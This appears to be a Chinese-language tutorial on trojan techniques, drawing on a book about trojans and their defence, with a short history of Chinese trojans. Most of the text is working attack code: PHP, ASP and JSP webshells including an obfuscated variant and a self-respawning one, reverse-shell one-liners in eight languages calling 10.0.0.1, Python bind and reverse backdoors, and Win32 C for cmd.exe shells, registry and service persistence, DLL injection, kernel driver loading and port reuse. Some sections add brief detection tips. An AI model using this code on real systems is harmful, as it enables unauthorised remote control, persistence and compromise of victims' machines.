木马技术
本文参考老书《木马技术揭秘与防御》
#0x00 国内木马历史
97年时,网络尚未在国内普及,木马是当时少数人手里的高科技,那时的木马主要来自国外的BO和SubSeven,直到国产木马冰河出现
才标志国内用户迎来网络木马混沌时代。00年用户对电脑防护意识毫无概念,防火墙又仍在探索和发展,使得冰河木马极其容易渗透进毫
无防备的电脑,许多人也就靠冰河入了门。这个时代的木马缺乏自我保护,很容易在启动项中发现查杀。
随着防火墙的诞生,NAT和端口过滤让冰河木马一夜间突然失效。这是因为就算电脑中了冰河,也因为局域网技术和NAT转换使得外网主机无
法用通过IP找到肉鸡。网吧就是一个明显的例子。其次防火墙端口过滤会让木马开启的非常见服务的端口被阻挡。
经过一段时间的沉寂后,一种新型木马概念被提出: 反弹木马,肉鸡和控制机角色互换,变成控制机主动开端口,肉鸡反向连接控制端,这样
一方面不需要知道肉鸡IP地址,另一方面不需要主动开启端口,成功的将NAT技术和端口过滤技术绕过,采用此概念的木马: 网络神偷, 该木马用于
盗取电脑文件。
反弹木马虽然好,但是需要控制机的公网IP固定,一般服务器地址都写死在木马上了,但是黑客的控制机为了避免被跟踪都不会使用固定的公网IP
针对这个问题,可用动态域名技术解决,木马反弹的地址是固定的域名,而这个域名映射的IP却是可以变化的,也就是DDNS。典例:灰鸽子
一时间,反弹木马的出现把防火墙打的惨不忍睹,一波未平一波又起,03年出现了头疼系列: 广外女生,广外男生,广外幽灵,这三个木马都使用
了当时颇感新鲜的技术:远程线程注射。做到了真正意义上的无进程,具体原理下面会说,大体上就是往系统进程里注射木马句柄运行。隐蔽性大幅
提升。查杀需要用户掌握一定的电脑知识。
再说说木马界占了一半江山且历史悠久的网页木马,早期网页木马主要针对浏览器漏洞实现自动下载和自动运行木马实现感染手段,原理主要是通过
构造畸形语句让浏览器缓冲器溢出,用户在浏览网页的时候不知不觉就已经中了木马,让人防不胜防。当今后端语言的崛起使得webshell的概念也萌生
主要是后端语言即可以执行系统命令,又可以接收用户参数,一句话木马也就火了起来。
当今,随着各种安全卫士和杀毒软件的发展,老一代的木马基本被淘汰。随着魔高一尺道高一丈的PK,交战平台转移到系统内核层,这一层拥有至高
无上的权限,一旦木马进入这一层,所有的杀毒软件统统都将成为木马的傀儡。如今人们的安全意识也因为病毒带来的损失而提高起来,但安全的步伐
将永远走下去,近两年甚至出现 `硬件漏洞`,带来的影响直接导致性能下降。所以没有绝对安全的系统。
# 0x01 webshell木马
1. webshell这类木马,基于Http,不需写底层通信socket,只关注用户传入参数和执行系统命令即可,下面是不同语言的一句话木马
php一句话木马
#原理: 把用户传递过来的post请求内容用eval转成代码执行 <?php @eval($_POST['x'])?>
asp一句话木马
<!-- 原理与php差不多 --> <%execute request("value")%> <%eval request("value")%>
aspx一句话木马
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
jsp一句话木马
//没学过java,jsp可能缺乏eval函数,需先把代码写到jsp文件,再访问该文件执行code
// jsp代码写入器后端
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
// jsp代码写入器前端
<form name=get method=post>
Server Addrress: <input name=url size=110 type=text><br><br>
<textarea name=t rows=20 cols=120>java code</textarea><br>
Save Filename: <input name=f size=30 value=shell.jsp>
<input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=submit>
</form>
2. 一句话木马虽然短小精悍,但是网络安全狗都能很轻易嗅探到这些包含特征代码的木马文件,因此一句话木马也出现了奇奇怪怪的变形。下面只举例一些比较有意思的
简洁的变形马
<?php @$_=$_GET[1].@$_($_GET[2])?>
利用方式: http://xxx.com/a.php?1=assert&2=phpinfo();
原理: $_是一个变量,该变量保存 $_GET[1]参数的值,点是php字符串连接符,后一段拼接后就变成 @$_GET[1]($_GET[2]);
这样如果$_GET[1]是assert的话,$_GET[2]就可以放php代码,也就变成 @assert("phpinfo()");
不死马
<?php set_time_limit(0); ignore_user_abort(true); $file = 'demo.php'; $shell = '<?php eval($_GET[1]);?>'; while(1){ file_put_contents($file, $shell); system("chmod 777 demo.php"); usleep(50); } ?>
一旦访问执行上面的代码,就会产生demo.php不死木马,就算这个代码被关闭,也会一直产生删不掉的木马,唯一解决办法就算重启,很恶心
ignore_user_abort 使得页面就算被关闭,脚本依然执行,set_time_limit设置脚本运行时间,如果设置成0,脚本将永久执行,够恶心吧
畸形木马还有很多,大家可以去网上搜,这里就不继续列举了。
3. 当我们拿到webshell一般执行的权限都是web用户权限,所以下一步就是借助webshell进行提权,提权离不开反弹shell,因为webshell属于那种一次性shell
就是执行一条命令就断开连接,并非持续的shell,这不利于提权,为了建立持久shell,我们可使用执行命令来反弹shell,下面是各种语言的反弹shell的代码
bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc
nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
php
$sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);
补充: 如果拿到的shell没有命令提示符,可以用 python 开启命令提示符
python -c 'import pty;pty.spawn("/bin/bash")'
#0x02 可执行木马
webshell木马不需要关心底层通信协议,因为webshell基于HTTP协议,但可执行程序或者脚本木马需要自己编写底层的TCP UDP接口。
一般我们要打开一个监听端口接收网络数据都需要执行这几步: 创建Socket -> bind端口和地址 -> listen监听 -> accept收到数据处理。
因python简洁性,所以下面是用python编写服务器和客户端例子
python客户端
#!/usr/bin/python #coding:utf-8 import socket import sys socket.setdefaulttimeout(5) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "www.baidu.com" port = 80 remote_ip = socket.gethostbyname( host ) message = "GET / HTTP/1.1\r\n\r\n" s.connect((remote_ip, port)) s.sendall(message) reply = s.recv(4096) print reply
python服务器
#!/usr/bin/python #coding:utf-8 import socket import sys HOST = '' PORT = 444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10) while 1: conn, addr = s.accept() print "[+] connecting" , addr[0] + ":" , addr[1] conn.send("Welcome to the server. Type something like:" "COOKIE,GET,POST and hit <ENTRE>\n") while 1: data = conn.recv(1024) print data if data == "GET\n": data = "OK, wait a moment\n" if data == "POST\n": data = "I am not a http server\n" if data == "COOKIE\n": data = "a cookie Biscuits??\n" if data: conn.sendall(data) else: break conn.close() s.close()
其实客户端不用编写,用nc连接也是可以的,上面只是简单实现了如何将客户端的数据发送给服务端,试想一下,如果我们发送的数据
被当做系统命令执行,那么木马岂不是就形成了,并且我们还要实现长久监听服务,长连接,不然用一次就不监听可还行?
python 正向木马
#!/usr/bin/python #coding:utf-8 import socket import sys import commands from thread import * HOST = '' PORT = 854 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10) def clientthread(conn): conn.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1: conn.send("Demon_Backdoor# ") data = conn.recv(1024) if data: cmd = data.strip("\n") code,res = commands.getstatusoutput(cmd) if code == 0 : conn.sendall(res+"\n") else: print "[-]Error: code",code data = "" else: break conn.close() while 1: conn, addr = s.accept() print "[+] connecting" , addr[0] + ":" , addr[1] start_new_thread(clientthread, (conn,)) s.close()
python 反弹木马
#!/usr/bin/python #coding:utf-8 import socket import sys import commands from time import sleep from thread import * HOST = "192.168.10.24" PORT = 444 def clientthread(s): global isConnect s.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1: s.send("Demon_Backdoor# ") data = s.recv(1024) if data : cmd = data.strip("\n") code,res = commands.getstatusoutput(cmd) if code == 0 : s.sendall(res+"\n") else: print "[-]Error: code",code data = "" else: break while 1: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) print "[+] connecting" , HOST + ":", PORT clientthread(s) #start_new_thread(clientthread, (s,)) s.close() except: sleep(0.5)
Mini木马程序剖析:
原理:
经典的木马原理是在肉鸡上开启端口监听服务,如果有客户端连接进来,就会打开cmd.exe开启一个shell,并和客户端建立双向管道,即客户端能远程操控cmd.exe
代码:
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); WSAStartup(0x0202, &WSADa); Ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = INADDR_ANY SockAddr.sin_port = htons(999); bind(Ssock, (sockaddr*)&SockAddr, sizeof(sockaddr)); listen(Ssock, 1); iAddrSize = sizeof(SockAddr); Csock = accept(Ssock, (sockaddr*)&SockAddr, &iAddrSize); StartupInfo.hStdInput = StartupInfo.hStdOutput = StartupInfo.hStdError = (HANDLE)Csock; CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
这个代码段是Mini木马中的核心一段,完整代码在这里
分析:
首先获取cmd.exe程序的路径,保存到szCMDPath变量中。
创建windows socket, 版本号选择2.2, 0x0202等价于 MAKEWORD(2,2),起名为Ssock
配置服务端Socket,设置协议栈,监听地址,监听端口,配置保存在变量SockAddr中
Ssock 套接字和 SockAddr配置进行绑定,然后通过listen函数开启监听,这样服务端就启动服务了
accpet函数可以接收客户端的连接,如果没有连接会一直阻塞监听,有连接会返回客户端的接口Csock,里面有客户端连接的IP和端口号
StartupInfo是关于窗体程序的相关配置,这里将窗体的输入输出设置成客户端接口句柄,这样客户端就可以写入和读取窗体的数据了。
最后创建一个进程运行cmd.exe,并且将上面的Startupinfo的配置应用于该进程当中,然后客户端就可以发送cmd命令进行控制。
防范:
对于这类会在肉鸡上主动开启端口监听的一般都会被防火墙拦截,只要开启防火墙就行。
注册表修改技术:
原理:
Windows的注册表能实现很多功能,对于木马来说,修改注册表可实现: 开机自启木马,关闭杀软,开启3389,破坏系统等等操作
而win32 API提供了一套对注册表的读写操作。下面简单介绍一下该API
代码:
HKEY hKey; TCHAR keyValue[128]; char subkey[] = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"; char keynameR[] = "ProcessorNameString"; char keynameW[] = "HackerName"; char keynameD[] = "WillBeDeleted"; DWORD dwDisposition = REG_OPENED_EXISTING_KEY; //读注册表 RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, keynameR, NULL, NULL, (LPBYTE)keyValue, &dwSize); RegCloseKey(hKey); printf("%s\n", keyValue); //写注册表 RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); RegSetValueEx(hKey, keyNameW, 0, REG_SZ, (BYTE*)"demon", dwSize); RegCloseKey(hKey); //删注册表 RegOpenKeyEx(hRootKey, subKey, 0, KEY_ALL_ACCESS, &hKey); RegDeleteValue(hKey, keyNameD); RegCloseKey(hKey);
分析:
这段代码演示了注册表的读写和删除,还有很多API这里没有列举到,大家可以参考MSDN
要对注册表读写操作前,都需要先打开注册表,打开注册表可以通过 RegOpenKeyEx 和 RegCreateKeyEx 这两个函数,需要指明根键和子健,根键包含下面5个
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
如果键值不存在,RegCreateKeyEx函数则会创建该键值。打开注册表句柄时还需要指明权限,这里给 KEY_ALL_ACCESS 表示句柄拥有所有权限。其他权限其参考 MSDN
防范:
有了注册表的读写操作,那么 木马程序一般会利用注册表实现开机自启动,下面是注册表里常见的加载点
注册表加载点: [HEKY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中 userinit 键用逗号分割添加程序路径,即可随系统启动而启动 * [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Policies\Explorer\Run] #Run 自己创 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] 添加 REG_SZ 类型的键值 即可,名称随便,值为程序路径 * 更深的加载点: [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load] [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] shell字符串类型键值中,默认为 Explorer.exe 以木马参数形式调用资源管理器 [HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager] BootExecute 多字符串键值,默认为: "autocheck autochk *" 用于系统启动自检,在图形界面前运行优先级高
针对上面的加载点,我们可以去检查这些位置,如果发现异常的程序,对其删除查杀即可。
服务注册技术:
原理:
服务是执行指定的系统功能,进程等,以便支持其他程序。服务是一种特殊的应用程序,可被SCM(服务管理控制器)进行操控。
如果服务设置成自动,那么随着系统的启动也会被启动,启动后会一直在后台运行,类似linux的守护进程,因此木马程序也可以
将自己注册成服务,悄悄的在系统当中被当作服务一直运行。
代码:
[SCM code] char serviceName[] = "YourServiceName"; SC_HANDLE schSCManager; SC_HANDLE schService; SERVICE_STATUS status; schSCManager = schSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); schService = OpenService(schSCManager, serviceName, SERVICE_ALL_ACCESS); //改变服务自启方式 ChangeServiceConfig( schService, //handle SERVICE_NO_CHANGE, //service type SERVICE_AUTO_START, //service start type SERVICE_NO_CHANGE, //error control NULL, //binary path NULL, //load order group NULL, //tag ID NULL, //dependencies NULL, //account name NULL, //password NULL, //display name ); //改变服务的描述信息 SERVICE_DESCRIPTION sd; LPCTSTR szDesc = TEXT("This is new description"); sd.lpDescription = szDesc; ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); //控制服务运行状态 StartServiceA(schService, NULL, NULL); ControlService(schService, SERVICE_CONTROL_STOP, &status); ControlService(schService, SERVICE_CONTROL_PAUSE, &status); ControlService(schService, SERVICE_CONTROL_CONTINUE, &status); //查询服务配置信息 DWORD dwBytesNeeded, cbBufSize,; LPQUERY_SERVICE_CONFIG lpsc; QueryServiceConfig(schService, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsc = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig(schService, lpsc, cbBufSize, &dwBytesNeeded); LPSERVICE_DESCRIPTION lpsd; QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsd = (LPSERVICE_DESCRIPTION)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpsd, cbBufSize, &dwBytesNeeded); printf(" Type: 0x%x\n", lpsc->dwServiceType); printf(" Start Type: 0x%x\n", lpsc->dwStartType); printf(" Binary Path: %s\n", lpsc->lpBinaryPathName); printf(" Account: %s\n", lpsc->lpServiceStartName); printf(" Description: %s\n", lpsd->lpDescription); printf(" Dependencies: %s\n", lpsc->lpDependencies);
分析:
这段代码是通过SCM接口对指定的服务进行:修改配置,启动关闭,设置自启,显示信息等相关操作
通过 schSCManager 打开 SCM, 再利用 OpenService 打开Services, 并给予对服务所有操作权限: SERVICE_ALL_ACCESS;
ChangeServiceConfig 可以修改服务的配置信息,比如设置启动方式,服务类型,显示名称等
ChangeServiceConfig2 可以修改服务的描述信息
StartServiceA 可以打开服务,而停止,暂停,继续操作可以通过ControlService 函数操作
QueryServiceConfig 可以查询服务配置信息,但是查询前需要先利用该函数查询结构体长度 dwBytesNeeded 来分配给 lpsc 足够的空间
QueryServiceConfig2 可以查询服务的描述信息,和上面一样需要先查询分配空间的大小。
代码:
//注册服务 LPCTSTR lpszBinaryPathName; char strDir[1024], chSysPath[1024]; SC_HANDLE schSCManager, schService; SERVICE_STATUS status; strcpy(lpszBinaryPathName, "/path/to/exefile") schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); schService = CreateService(schSCManager,"ServiceName","ServiceName", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, lpszBinaryPathName, NULL, NULL, NULL, NULL, NULL); if (schService) printf("Install service success!!\n"); //删除服务 schSCManager = OpenSCManager(NULL,NULL, SC_MANAGER_CREATE_SERVICE); schService = OpenService(schSCManager, "ServiceName", SERVICE_ALL_ACCESS|DELETE); QueryServiceStatus(schService, &status); if( status.dwCurrentState != SERVICE_STOPPED ) ControlService(schService, SERVICE_CONTROL_STOP, &status); Sleep(500); DeleteService(schService); CloseServiceHandle(schSCManager);
分析:
通过上面的代码,木马程序可以将自己注册成系统服务,并且设置自动运行实现开机自启。
防范:
可通过枚举所有服务,然后查看服务对应的执行文件,也就是上面注册代码的 lpszBinaryPathName 变量值,对其进行查杀即可
进程注射技术:
原理:
什么是进程? 进程是一个线程拥有自己的代码空间和运行空间的正在运行的程序,里面包含多个线程。
什么是DLL? 动态链接库,无法独立运行,可被执行程序加载并调用
对于windows系统,进程之间的内存地址是相互隔离的,也就进程之间不可相互访问对方的地址。
但是windows系统为了能方便的让两个程序访问同一块内存,windows提供了虚拟内存来共享解决该问题。
进程注射技术就是利用DLL木马在某进程中开辟虚拟空间来运行,但需要提升到Debug模式才有权限注射进程。
代码:
// 提权代码 HANDLE hToken; TOKEN_PRIVILEGES pTP; LUID uID; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID); pTP.PrivilegeCount = 1; pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pTP.Privileges[0].Luid = uID; AdjustTokenPrivileges(hToken, FALSE, &pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL) // 对指定的PID进程注射 DWORD pid = 1433; char dll[] = "c:\\muma.dll"; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(dll)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(void*)dll, lstrlen(dll)+1, NULL); pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA"); hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CloseHandle(hRemoteProcess); CloseHandle(hRemoteThread);
分析:
代码首先进行debug提权,利用 AdjustTokenPrivileges 函数,传入配置结构体 pTP ,该结构体指明了 SE_PRIVILEGE_ENABLED; 权限启用。
注射进程基本步骤: OpenProcess 打开进程句柄 -> VirtualAllocEx开辟虚拟空间 -> WriteProcessMemory 写dll路径到虚拟空间
-> GetProcAddress 搜索LoadLibraryA 函数地址 -> CreateRemoteThread 在进程上创建新的线程并执行 dll 代码。
代码:
void listAllProcessInfo(){ PROCESSENTRY32 lPrs; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); ZeroMemory(&lPrs, sizeof(lPrs)); lPrs.dwSize = sizeof(lPrs); Process32First(hSnap, &lPrs); printf("pid\t\tppid\t\tname\n"); printf("-------------------------------------------\n"); while(1){ printf("%d\t\t%d\t\t%s\n", lPrs.th32ProcessID, lPrs.th32ParentProcessID, lPrs.szExeFile); if(!Process32Next(hSnap, &lPrs)) break; } }
上面这段代码可以枚举所有进程先关信息,包括pid, 和 tastlist 一样效果
内核Rootkit技术:
原理:
操作系统的存在使得计算机硬件对于应用程序变得不可见,若应用程序需要访问硬件资源则需要向内核发送请求。
所以程序运行的模式有两种,一个是用户态Ring3, 一个是内核态Ring0,正常下程序根本没有机会修改内核,但是若
程序运行在内核态既可以访问系统任何代码和数据了!而应用程序想进入内核态也有很多办法,常用的就是编写驱动程序
环境: 需要安装 WDK/DDK
代码:
#include <ntddk.h> VOID Unload(IN PDRIVER_OBJECT DriverObject){} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING UnicodeString){ UNICODE_STRING path; UNICODE_STRING name; UNICODE_STRING data; OBJECT_ATTRIBUTES oa; HANDLE myhandle = NULL; RtlInitUnicodeString(&path, L"\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); RtlInitUnicodeString(&name, L"demon"); RtlInitUnicodeString(&data, L"hello,demon"); InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE,NULL, NULL); ZwOpenKey(&myhandle, KEY_WRITE, &oa); ZwSetValueKey(myhandle, &name, 0, REG_SZ, data.Buffer, data.Length); ZwClose(myhandle); DriverObject->DriverUnload = Unload; return STATUS_SUCCESS; }
分析:
上面是驱动程序,作用是在注册表上添加一些信息,可以看出Ring3 和 Ring0同样功能不同一套API
然后通过编写MAKEFILE 和 SOURCES文件就可以编译生成 驱动模块.sys , 代码
有了驱动模块后,我们还需将驱动程序注册服务,这样下次系统启动就会启动这个驱动。注册服务也是用SCM来注册
但是注册类型为 SERVICE_KERNEL_DRIVER,表示为系统驱动,代码如下:
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); sh = CreateService(scm, "DriverName", "DriverName", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, "path/to/yourDrv.sys", NULL, NULL, NULL, NULL, NULL); CloseServiceHandle(scm); CloseServiceHandle(sh);
防范:
通过 PCHunter 工具可以列出所有的系统驱动模块,一般不是windows 或知名产商签名的驱动都要可能是恶意驱动,手动卸载即可
管道通讯技术:
原理:
如果是建立普通的C语言socket,则需要创建两个管道,一个用于读,一个用于写,这样即可实现通信。
如果是用WSASocket创建的,则可以直接将窗体读写指向句柄即可。代码比较简单。
代码:
[socket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY; bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize); CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0); CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0); si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation); while(1){ PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0); if(lBytesRead){ ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0); send(clientFD, Buff, lBytesRead, 0); }else{ recv(clientFD, Buff, 1024, 0); WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0); } }
分析:
这段代码使用C语言原生API创建一个socket, 并 CreatePipe创建两个管道,管道一端只能读,另一端只能写
CreateProcess 创建一个cmd.exe的进程,这个进程的标准输出定向到管道1,输入从管道2获取。
while死循环用户监听管道1的数据,也就是cmd.exe发出的数据,一旦监听到就发送给客户端。
另外,客户端一旦接受到数据,就会写入到管道2,这样cmd.exe就能从管道2读取到数据,双向管道建立完成。
代码:
[WSASocket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY; bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize); si.hStdInput = si.hStdOutput = si.hStdError = clientFD; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
分析:
使用Win32 API的WSASocket创建的socket可以直接对其句柄读写操作,大大节省了代码,就不需要创建
两个管道来通信了。
反弹木马技术:
原理:
黑客攻击机开启端口监听,肉鸡主动反向连接黑客的IP,这样做可以绕过防火墙的拦截,毕竟是肉鸡主动向外发送请求
代码:
sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(444); sin.sin_addr.s_addr = inet_addr("192.168.10.1"); while( connect(sock, (struct sockaddr*)&sin, sizeof(sin)) ) Sleep(30000); si.hStdInput = si.hStdOutput = si.hStdError = (void*)sock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);
分析:
这段代码先建立一个客户端socket , 通过connect 可以主动连接,while语句和sleep语句让木马
每个3秒尝试反弹一次shell,如果连接成功,创建一个cmd.exe进程并将输入输出定向到该socket
端口重用技术:
原理:
当服务器的一个服务监听了一个端口,那么这个端口就不能被其他程序再使用了,但是Socket有一项技术
可以使得端口被重用,一旦端口被重用,防火墙放行的端口就成为了木马的监听端口。
代码:
WSAStartup(MAKEWORD(2,2), &wsa); ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val)); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("192.168.10.1"); sinSize = sizeof(sin); bind(ssock, (sockaddr*)&sin, sinSize); listen(ssock, 2); csock = accept(ssock, (sockaddr*)&sin, &sinSize); ZeroMemory(&si, sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void*)csock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);
分析:
端口复用技术主要是通过 setsockopt函数 来设置端口复用, SO_REUSEADDR设置后就可以重用端口了。
另外上面代码需要注意的是监听地址不是 0.0.0.0 ,也就是说如果使用 192.168.10.1 地址访问看到的就是
木马,但如果是用 127.0.0.1 去访问看到的就是web网站。
防范:
netstat -ano 可以看到有两条不同的监听地址相同的监听端口在等待监听。